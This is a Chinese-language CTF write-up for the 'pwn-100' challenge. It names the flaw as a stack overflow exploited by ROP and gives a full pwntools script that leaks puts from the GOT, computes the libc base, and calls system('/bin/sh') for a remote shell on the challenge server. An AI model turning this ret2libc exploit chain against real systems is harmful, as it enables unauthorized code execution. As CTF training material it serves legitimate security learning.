攻防世界-pwn-100-Writeup

原创

SkYe231_ 于 2020-05-15 18:33:31 发布 228 收藏

pwn-100

[collapse title=“展开查看详情” status=“false”]
考点：栈溢出、ROP

这个栈溢出每次固定要求输入 200 个字符，也没有别的了。

ROP 操作也不需要往 bss 写入 /bin/sh，直接在 libc 找一个就好了。（看到网上有这样的操作orz）

```python
#encoding:utf-8
from pwn import *

context.log_level = 'debug'
context(os='linux',arch='amd64')

p = remote('124.126.19.106',35604)
#p = process("./pwn-100")
elf = ELF("./pwn-100")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi_ret = 0x0000000000400763
start_addr = 0x400550
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = 'a'*0x40 + p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(200,'a')

# leak puts@got.plt
p.send(payload)
p.recvuntil("bye~\n")
puts_leak = u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

#leak libc
libc_base = puts_leak - libc.symbols['puts']
log.success("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success("system_addr:"+hex(system_addr))
binsh_addr = libc_base + libc.search('/bin/sh').next()
log.success("binsh_addr:"+hex(binsh_addr))

#call system('/bin/sh')
payload = 'a'*0x40 + p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,'a')

p.send(payload)

#gdb.attach(p)


p.interactive()
```

[/collapse]